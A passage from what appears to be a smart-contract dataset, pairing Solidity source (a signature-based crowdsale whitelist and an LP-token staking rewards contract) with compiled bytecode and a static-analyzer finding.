`onlyValidSignature` modifier (or implement your own using isValidSignature). * * See the tests Bouncer.test.js for specific usage examples. */ contract SignatureBouncer is Ownable, RBAC { using ECRecovery for bytes32; string public constant ROLE_BOUNCER = "bouncer"; /** * @dev requires that a valid signature of a bouncer was provided */ modifier onlyValidSignature(bytes _sig) { require(isValidSignature(msg.sender, _sig)); _; } /** * @dev allows the owner to add additional bouncer addresses */ function addBouncer(address _bouncer) onlyOwner public { require(_bouncer != address(0)); addRole(_bouncer, ROLE_BOUNCER); } /** * @dev allows the owner to remove bouncer addresses */ function removeBouncer(address _bouncer) onlyOwner public { require(_bouncer != address(0)); removeRole(_bouncer, ROLE_BOUNCER); } /** * @dev is the signature of `this + sender` from a bouncer? * @return bool */ function isValidSignature(address _address, bytes _sig) internal view returns (bool) { return isValidDataHash( keccak256(address(this), _address), _sig ); } /** * @dev internal function to convert a hash to an eth signed message * @dev and then recover the signature and check it against the bouncer role * @return bool */ function isValidDataHash(bytes32 hash, bytes _sig) internal view returns (bool) { address signer = hash .toEthSignedMessageHash() .recover(_sig); return hasRole(signer, ROLE_BOUNCER); } } // File: contracts/grapevine/crowdsale/GrapevineWhitelist.sol /** * @title Grapevine Whitelist extends the zeppelin Whitelist and adding off-chain signing capabilities. * @dev Grapevine Crowdsale **/ contract GrapevineWhitelist is SignatureBouncer, GrapevineWhitelistInterface { event WhitelistedAddressAdded(address addr); event WhitelistedAddressRemoved(address addr); event UselessEvent(address addr, bytes sign, bool ret); mapping(address => bool) public whitelist; address crowdsale; constructor(address _signer) public { require(_signer != address(0)); addBouncer(_signer); } modifier onlyOwnerOrCrowdsale() { require(msg.sender == owner || msg.sender == crowdsale); _; } /** * @dev Function to check if an address is whitelisted * @param _address address The address to be checked. */ function whitelist(address _address) view external returns (bool) { return whitelist[_address]; } /** * @dev Function to set the crowdsale address * @param _crowdsale address The address of the crowdsale. */ function setCrowdsale(address _crowdsale) external onlyOwner { require(_crowdsale != address(0)); crowdsale = _crowdsale; } /** * @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing. * @param _beneficiaries Addresses to be added to the whitelist */ function addAddressesToWhitelist(address[] _beneficiaries) external onlyOwnerOrCrowdsale { for (uint256 i = 0; i < _beneficiaries.length; i++) { addAddressToWhitelist(_beneficiaries[i]); } } /** * @dev Removes single address from whitelist. * @param _beneficiary Address to be removed to the whitelist */ function removeAddressFromWhitelist(address _beneficiary) external onlyOwnerOrCrowdsale { whitelist[_beneficiary] = false; emit WhitelistedAddressRemoved(_beneficiary); } /** * @dev Handles the off-chain whitelisting. * @param _addr Address of the sender. * @param _sig signed message provided by the sender. */ function handleOffchainWhitelisted(address _addr, bytes _sig) external onlyOwnerOrCrowdsale returns (bool) { bool valid; // no need for consuming gas when the address is already whitelisted if (whitelist[_addr]) { valid = true; } else { valid = isValidSignature(_addr, _sig); if (valid) { // no need for consuming gas again if the address calls the contract again. addAddressToWhitelist(_addr); } } return valid; } /** * @dev Adds single address to whitelist. * @param _beneficiary Address to be added to the whitelist */ function addAddressToWhitelist(address _beneficiary) public onlyOwnerOrCrowdsale { whitelist[_beneficiary] = true; emit WhitelistedAddressAdded(_beneficiary); } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630988ca8c146100d55780631479290e1461015e578063217fe6c6146101a1578063286dd3f514610242578063483a20b21461028557806361b6f889146102c8578063715018a61461033b5780637b9417c814610352578063888764c8146103955780638da5cb5b146103d85780639b19251a1461042f578063d466ab6b1461048a578063e2ec6ec31461051a578063f2fde38b14610555575b600080fd5b3480156100e157600080fd5b5061015c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610598565b005b34801561016a57600080fd5b5061019f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610619565b005b3480156101ad57600080fd5b50610228600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506106f2565b604051808215151515815260200191505060405180910390f35b34801561024e57600080fd5b50610283600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610779565b005b34801561029157600080fd5b506102c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108ea565b005b3480156102d457600080fd5b50610321600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019082018035906020019190919293919293905050506109c5565b604051808215151515815260200191505060405180910390f35b34801561034757600080fd5b50610350610b30565b005b34801561035e57600080fd5b50610393600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c32565b005b3480156103a157600080fd5b506103d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da3565b005b3480156103e457600080fd5b506103ed610e7c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561043b57600080fd5b50610470600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ea1565b604051808215151515815260200191505060405180910390f35b34801561049657600080fd5b5061049f610ef7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104df5780820151818401526020810190506104c4565b50505050905090810190601f16801561050c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561052657600080fd5b50610553600480360381019080803590602001908201803590602001919091929391929390505050610f30565b005b34801561056157600080fd5b50610596600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061103a565b005b610615826001836040518082805190602001908083835b6020831015156105d457805182526020820191506020810190506020830392506105af565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390206110a190919063ffffffff16565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561067457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156106b057600080fd5b6106ef816040805190810160405280600781526020017f626f756e636572000000000000000000000000000000000000000000000000008152506110ba565b50565b6000610771836001846040518082805190602001908083835b602083101515610730578051825260208201915060208101905060208303925061070b565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902061120b90919063ffffffff16565b905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108215750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561082c57600080fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507ff1abf01a1043b7c244d128e8595cf0c1d10743b022b03a02dffd8ca3bf729f5a81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561098157600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610a705750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610a7b57600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ad65760019050610b25565b610b128585858080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050611264565b90508015610b2457610b2385610c32565b5b5b809150509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b8b57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610cda5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610ce557600080fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd1bba68c128cc3f427e5831b3c6f99f480b6efa6b9e80c757768f6124158cc3f81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dfe57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e3a57600080fd5b610e79816040805190810160405280600781526020017f626f756e6365720000000000000000000000000000000000000000000000000081525061130b565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6040805190810160405280600781526020017f626f756e6365720000000000000000000000000000000000000000000000000081525081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610fda5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610fe557600080fd5b600090505b8282905081101561103557611028838383818110151561100657fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16610c32565b8080600101915050610fea565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561109557600080fd5b61109e8161145c565b50565b6110ab828261120b565b15156110b657600080fd5b5050565b611137826001836040518082805190602001908083835b6020831015156110f657805182526020820191506020810190506020830392506110d1565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902061155690919063ffffffff16565b7fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111cc5780820151818401526020810190506111b1565b50505050905090810190601f1680156111f95780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60006113033084604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401925050506040518091039020836115b4565b905092915050565b611388826001836040518082805190602001908083835b6020831015156113475780518252602082019150602081019050602083039250611322565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902061162490919063ffffffff16565b7fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b7004898282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561141d578082015181840152602081019050611402565b50505050905090810190601f16801561144a5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561149857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000806115da836115c88660001916611682565b600019166116d190919063ffffffff16565b905061161b816040805190810160405280600781526020017f626f756e636572000000000000000000000000000000000000000000000000008152506106f2565b91505092915050565b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008160405180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c01826000191660001916815260200191505060405180910390209050919050565b600080600080604185511415156116eb57600093506117c0565b6020850151925060408501519150606085015160001a9050601b8160ff16101561171657601b810190505b601b8160ff161415801561172e5750601c8160ff1614155b1561173c57600093506117c0565b600186828585604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af11580156117b3573d6000803e3d6000fd5b5050506020604051035193505b505050929150505600a165627a7a723058206fef476b4b633565f5a4ffa0a22333ab16ef2f076dec56c2a7df78af7201bd5f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
8,859
0x5b310dffdefacb8f90614705e19639457edcc533
/** *Submitted for verification at Etherscan.io on 2021-03-03 */ pragma solidity ^0.5.0; library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Context { constructor() internal {} function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call.value(amount)(""); require( success, "Address: unable to send value, recipient may have reverted" ); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } contract LPTokenWrapper is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public BUND_ETH = IERC20(0xEd86244cd91f4072C7c5b7F8Ec3A2E97EA31B693); // LP Token Here uint256 private _totalSupply; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); BUND_ETH.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); BUND_ETH.safeTransfer(msg.sender, amount); } } contract StakeBUND_LP is LPTokenWrapper { IERC20 public bundNFT = IERC20(0x92B3367515a7D2dF838c2ccD9F5e1Fc07D977C20); // Reward Token Here uint256 public constant duration = 30 days; uint256 public starttime = 1614749400; //-----| Starts immediately after deploy |----- uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; bool firstNotify; uint256 rewardAmount = 0; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event Rewarded(address indexed from, address indexed to, uint256 value); modifier checkStart() { require( block.timestamp >= starttime, "BUND_BUNDNFT staking pool not started yet." ); _; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function stake(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Cannot stake 0"); super.stake(amount); } function withdraw(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); } // withdraw stake and get rewards at once function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender){ uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; bundNFT.safeTransfer(msg.sender, reward); } } function permitNotifyReward() public view returns (bool) { //-----| If current reward session has completed |--------- if(block.timestamp > starttime.add(duration)){ return true; } } function notifyRewardRate(uint256 _reward) public updateReward(address(0)) onlyOwner{ require(permitNotifyReward() == true || firstNotify == false, "Cannot notify until previous reward session is completed"); rewardRate = _reward.div(duration); firstNotify = true; lastUpdateTime = block.timestamp; starttime = block.timestamp; periodFinish = block.timestamp.add(duration); } }
0x608060405234801561001057600080fd5b50600436106101725760003560e01c80637b0a47ee116100de578063a694fc3a11610097578063df136d6511610071578063df136d6514610569578063e9fad8ee14610587578063ebe2b12b14610591578063f2fde38b146105af57610172565b8063a694fc3a146104ff578063c8f33c911461052d578063cd3daf9d1461054b57610172565b80637b0a47ee146103e157806380faa57d146103ff5780638b8763471461041d5780638da58897146104755780638da5cb5b146104935780638f32d59b146104dd57610172565b80632e1a7d4d116101305780632e1a7d4d146102f75780633d18b912146103255780633d52f5931461032f5780634041ef411461035157806370a082311461037f578063715018a6146103d757610172565b80628cc262146101775780630700037d146101cf5780630fb5a6b414610227578063117003fe1461024557806318160ddd1461028f5780631dbd0ec2146102ad575b600080fd5b6101b96004803603602081101561018d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105f3565b6040518082815260200191505060405180910390f35b610211600480360360208110156101e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106da565b6040518082815260200191505060405180910390f35b61022f6106f2565b6040518082815260200191505060405180910390f35b61024d6106f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61029761071f565b6040518082815260200191505060405180910390f35b6102b5610729565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103236004803603602081101561030d57600080fd5b810190808035906020019092919050505061074f565b005b61032d6108b6565b005b610337610a47565b604051808215151515815260200191505060405180910390f35b61037d6004803603602081101561036757600080fd5b8101908080359060200190929190505050610a75565b005b6103c16004803603602081101561039557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cbb565b6040518082815260200191505060405180910390f35b6103df610d04565b005b6103e9610e3d565b6040518082815260200191505060405180910390f35b610407610e43565b6040518082815260200191505060405180910390f35b61045f6004803603602081101561043357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e56565b6040518082815260200191505060405180910390f35b61047d610e6e565b6040518082815260200191505060405180910390f35b61049b610e74565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104e5610e9d565b604051808215151515815260200191505060405180910390f35b61052b6004803603602081101561051557600080fd5b8101908080359060200190929190505050610ef4565b005b6105356110b6565b6040518082815260200191505060405180910390f35b6105536110bc565b6040518082815260200191505060405180910390f35b610571611154565b6040518082815260200191505060405180910390f35b61058f61115a565b005b610599611175565b6040518082815260200191505060405180910390f35b6105f1600480360360208110156105c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061117b565b005b60006106d3600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106c5670de0b6b3a76400006106b76106a0600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106926110bc565b61120190919063ffffffff16565b6106a988610cbb565b61124b90919063ffffffff16565b6112d190919063ffffffff16565b61131b90919063ffffffff16565b9050919050565b600d6020528060005260406000206000915090505481565b62278d0081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b336107586110bc565b600981905550610766610e43565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610833576107a9816105f3565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600082116108a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b6108b2826113a3565b5050565b336108bf6110bc565b6009819055506108cd610e43565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461099a57610910816105f3565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006109a5336105f3565b90506000811115610a43576000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a423382600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114a39092919063ffffffff16565b5b5050565b6000610a6162278d0060055461131b90919063ffffffff16565b421115610a715760019050610a72565b5b90565b6000610a7f6110bc565b600981905550610a8d610e43565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610b5a57610ad0816105f3565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610b62610e9d565b610bd4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515610be0610a47565b15151480610c01575060001515600a60009054906101000a900460ff161515145b610c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611cf66038913960400191505060405180910390fd5b610c6c62278d00836112d190919063ffffffff16565b6007819055506001600a60006101000a81548160ff0219169083151502179055504260088190555042600581905550610cb162278d004261131b90919063ffffffff16565b6006819055505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d0c610e9d565b610d7e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b6000610e5142600654611574565b905090565b600c6020528060005260406000206000915090505481565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b33610efd6110bc565b600981905550610f0b610e43565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610fd857610f4e816105f3565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600554421015611033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611d54602a913960400191505060405180910390fd5b600082116110a9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b6110b28261158d565b5050565b60085481565b6000806110c761071f565b14156110d7576009549050611151565b61114e61113d6110e561071f565b61112f670de0b6b3a7640000611121600754611113600854611105610e43565b61120190919063ffffffff16565b61124b90919063ffffffff16565b61124b90919063ffffffff16565b6112d190919063ffffffff16565b60095461131b90919063ffffffff16565b90505b90565b60095481565b61116b61116633610cbb565b61074f565b6111736108b6565b565b60065481565b611183610e9d565b6111f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f